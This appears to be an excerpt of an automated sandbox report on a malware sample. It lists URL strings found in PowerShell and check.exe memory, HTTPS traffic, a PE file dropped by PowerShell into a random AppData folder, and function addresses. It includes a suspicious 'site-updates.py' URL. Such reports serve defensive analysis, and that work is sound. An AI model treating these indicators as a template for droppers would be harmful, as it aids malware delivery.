Source: powershell.exe, 00000005.00000002.1553618061.000001E519EBE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1553618061.000001E5185D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000005.00000002.1553618061.000001E5183B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1553618061.000001E519EBE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1553618061.000001E5185D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: check.exe, 0000000A.00000002.1825899036.000001DB19C60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl
Source: check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm
Source: check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es00
Source: check.exe, 0000000A.00000002.1893210919.00007FF8163DA000.00000002.00000001.01000000.00000023.sdmp	String found in binary or memory: http://www.aiim.org/pdfa/ns/id/
Source: powershell.exe, 00000005.00000002.1553618061.000001E5185D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB19792000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/0
Source: check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/lly
Source: check.exe, 0000000A.00000002.1893210919.00007FF8163DA000.00000002.00000001.01000000.00000023.sdmp	String found in binary or memory: http://www.color.org)
Source: check.exe, 00000009.00000003.1559975238.000001B4340F2000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554187441.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1553729160.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1562411545.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1553967785.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561172890.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554667624.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1563714667.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554542632.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1558259541.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1559975238.000001B4340EC000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561770281.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1557034800.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561355505.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1564570590.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1555003612.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554842675.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000015.00000003.1807544138.0000013D4CD42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: check.exe, 0000000A.00000002.1818046790.000001DB1940B000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: check.exe, 0000000A.00000003.1589120882.000001DB198DC000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: check.exe, 0000000A.00000002.1818046790.000001DB1940B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
Source: check.exe, 0000000A.00000002.1821926701.000001DB19973000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: check.exe, 0000000A.00000003.1589714879.000001DB1998F000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1589519363.000001DB199A2000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1589120882.000001DB1998F000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1588922999.000001DB19A49000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB19973000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wwwsearch.sf.net/):
Source: powershell.exe, 00000005.00000002.1553618061.000001E5183B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.1553618061.000001E5185D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: check.exe, 0000000A.00000003.1586390374.000001DB198CD000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1586442426.000001DB198AE000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: check.exe, 0000000A.00000003.1570112394.000001DB18FAE000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1570091446.000001DB19011000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1817883773.000001DB19160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/howto/mro.html.
Source: check.exe, 0000000A.00000002.1817508785.000001DB18D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: check.exe, 0000000A.00000002.1817508785.000001DB18D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: check.exe, 0000000A.00000002.1817508785.000001DB18DA4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: check.exe, 0000000A.00000002.1817508785.000001DB18D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: check.exe, 0000000A.00000002.1817508785.000001DB18DA4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: check.exe, 0000000A.00000002.1817508785.000001DB18D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: check.exe, 0000000A.00000002.1817508785.000001DB18D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: check.exe, 0000000A.00000002.1817508785.000001DB18D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: check.exe, 0000000A.00000002.1817775240.000001DB18F20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: check.exe, 0000000A.00000002.1821539091.000001DB19660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: check.exe, 0000000A.00000003.1589120882.000001DB19912000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Ousret/charset_normalizer
Source: powershell.exe, 00000005.00000002.1553618061.000001E5185D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: check.exe, 0000000A.00000002.1817265869.000001DB173A9000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1817775240.000001DB18F20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: check.exe, 0000000A.00000002.1837968089.000001DB1A7C4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/giampaolo/psutil/issues/875.
Source: check.exe, 0000000A.00000002.1827037234.000001DB19F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/psf/requests/pull/6710
Source: check.exe, 0000000A.00000002.1817508785.000001DB18DA4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: check.exe, 0000000A.00000002.1817775240.000001DB18F20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: check.exe, 0000000A.00000002.1817265869.000001DB173A9000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1817775240.000001DB18F20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: check.exe, 0000000A.00000003.1578448364.000001DB192E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1577442083.000001DB1932C000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1818046790.000001DB19260000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1576602943.000001DB193B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: check.exe, 0000000A.00000002.1820912917.000001DB19560000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/wiki/Development-Methodology
Source: check.exe, 0000000A.00000002.1817265869.000001DB173A9000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1817775240.000001DB18F20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: check.exe, 0000000A.00000002.1821539091.000001DB19660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: check.exe, 0000000A.00000002.1818046790.000001DB19260000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: check.exe, 0000000A.00000002.1825899036.000001DB19C60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: check.exe, 0000000A.00000002.1825899036.000001DB19C60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3290
Source: powershell.exe, 00000005.00000002.1553618061.000001E5197B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: check.exe, 0000000A.00000003.1589120882.000001DB19912000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1589120882.000001DB198DC000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: check.exe, 0000000A.00000003.1589120882.000001DB19912000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: check.exe, 0000000A.00000002.1826258226.000001DB19D90000.00000004.00001000.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB19A5B000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/get
Source: check.exe, 0000000A.00000003.1589037099.000001DB19455000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1587483493.000001DB19455000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1818046790.000001DB1940B000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1585208154.000001DB19455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/post
Source: check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: check.exe, 0000000A.00000002.1821926701.000001DB19A5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: check.exe, 0000000A.00000002.1820912917.000001DB19560000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/dist/v22.11.0/node-v22.11.0-win-x64.zip
Source: check.exe, 0000000A.00000002.1825899036.000001DB19C60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/core-metadata/#core-metadata
Source: check.exe, 0000000A.00000002.1817775240.000001DB18F20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/entry-points/#file-format
Source: check.exe, 0000000A.00000002.1817775240.000001DB18F20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/recording-installed-packages/#the-record-file
Source: check.exe, 0000000A.00000002.1825553124.000001DB19B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: check.exe, 0000000A.00000003.1578448364.000001DB192E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1820377142.000001DB19460000.00000004.00001000.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1566990368.000001DB18F21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0205/
Source: check.exe, 0000000A.00000002.1926008632.00007FF817DB8000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://peps.python.org/pep-0263/
Source: check.exe, 0000000A.00000002.1827037234.000001DB19F10000.00000004.00001000.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1818046790.000001DB1940B000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1585208154.000001DB19455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://requests.readthedocs.io
Source: check.exe, 0000000A.00000002.1837968089.000001DB1A7C4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/questions/4457745#4457745.
Source: check.exe, 0000000A.00000003.1589120882.000001DB198B9000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: check.exe, 0000000A.00000003.1586442426.000001DB197B0000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB197AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7231#section-4.3.6)
Source: check.exe, 0000000A.00000003.1589120882.000001DB19912000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: check.exe, 0000000A.00000002.1825553124.000001DB19B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: check.exe, 0000000A.00000002.1825553124.000001DB19B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: check.exe, 00000009.00000003.1510664157.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1537102861.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1512237097.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534110253.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534706073.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535266228.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535458758.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535038874.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1521837112.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1520788673.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1513043317.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535135785.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1537482169.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1509746314.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535458758.000001B4340F1000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1514617056.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1516403898.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1536720593.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534598659.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535610449.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1536427051.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: check.exe, 00000009.00000003.1561355505.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1929333303.00007FF81FFE0000.00000002.00000001.01000000.0000001B.sdmp, check.exe, 0000000A.00000002.1921185417.00007FF817154000.00000002.00000001.01000000.0000001A.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: check.exe, 0000000A.00000003.1589037099.000001DB19455000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1587483493.000001DB19455000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1818046790.000001DB1940B000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1585208154.000001DB19455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org
Source: check.exe, 0000000A.00000002.1821926701.000001DB19A5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: check.exe, 0000000A.00000002.1926008632.00007FF817DB8000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.python.org/psf/license/)
Source: check.exe, 0000000A.00000003.1589120882.000001DB198B9000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB197AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/
Source: check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m
Source: check.exe, 0000000A.00000003.1589120882.000001DB19912000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000003.1589120882.000001DB198DC000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4C1000	9_2_00007FF61C4C1000
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4E08C8	9_2_00007FF61C4E08C8
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4E6964	9_2_00007FF61C4E6964
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4C89E0	9_2_00007FF61C4C89E0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4E5C00	9_2_00007FF61C4E5C00
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4D35A0	9_2_00007FF61C4D35A0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4D1D54	9_2_00007FF61C4D1D54
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4DE570	9_2_00007FF61C4DE570
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4E5E7C	9_2_00007FF61C4E5E7C
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4D9EA0	9_2_00007FF61C4D9EA0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4E9728	9_2_00007FF61C4E9728
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4DDEF0	9_2_00007FF61C4DDEF0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4D8794	9_2_00007FF61C4D8794
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4D1740	9_2_00007FF61C4D1740
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4D1F60	9_2_00007FF61C4D1F60
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4C9800	9_2_00007FF61C4C9800
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4E40AC	9_2_00007FF61C4E40AC
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4E1874	9_2_00007FF61C4E1874
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4D80E4	9_2_00007FF61C4D80E4
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4D39A4	9_2_00007FF61C4D39A4
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4D1944	9_2_00007FF61C4D1944
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4D2164	9_2_00007FF61C4D2164
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4DDA5C	9_2_00007FF61C4DDA5C
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4CA2DB	9_2_00007FF61C4CA2DB
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4D1B50	9_2_00007FF61C4D1B50
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4D2C10	9_2_00007FF61C4D2C10
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4E3C10	9_2_00007FF61C4E3C10
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4E08C8	9_2_00007FF61C4E08C8
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4E6418	9_2_00007FF61C4E6418
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4CACAD	9_2_00007FF61C4CACAD
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4CA474	9_2_00007FF61C4CA474
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4D5D30	9_2_00007FF61C4D5D30
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 22_2_00007FF812324350	22_2_00007FF812324350
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 22_2_00007FF812315527	22_2_00007FF812315527
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 22_2_00007FF812323380	22_2_00007FF812323380
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 22_2_00007FF812312BB0	22_2_00007FF812312BB0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 22_2_00007FF812313650	22_2_00007FF812313650
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 22_2_00007FF812322450	22_2_00007FF812322450
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 22_2_00007FF81231EC50	22_2_00007FF81231EC50
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 22_2_00007FF812316661	22_2_00007FF812316661
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 22_2_00007FF812319810	22_2_00007FF812319810
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810B91950	29_2_00007FF810B91950
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810B92270	29_2_00007FF810B92270
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810B91300	29_2_00007FF810B91300
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810C510A0	29_2_00007FF810C510A0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810C43A50	29_2_00007FF810C43A50
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810C4C840	29_2_00007FF810C4C840
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810C911E0	29_2_00007FF810C911E0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810C91E20	29_2_00007FF810C91E20
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA24DC	29_2_00007FF810CA24DC
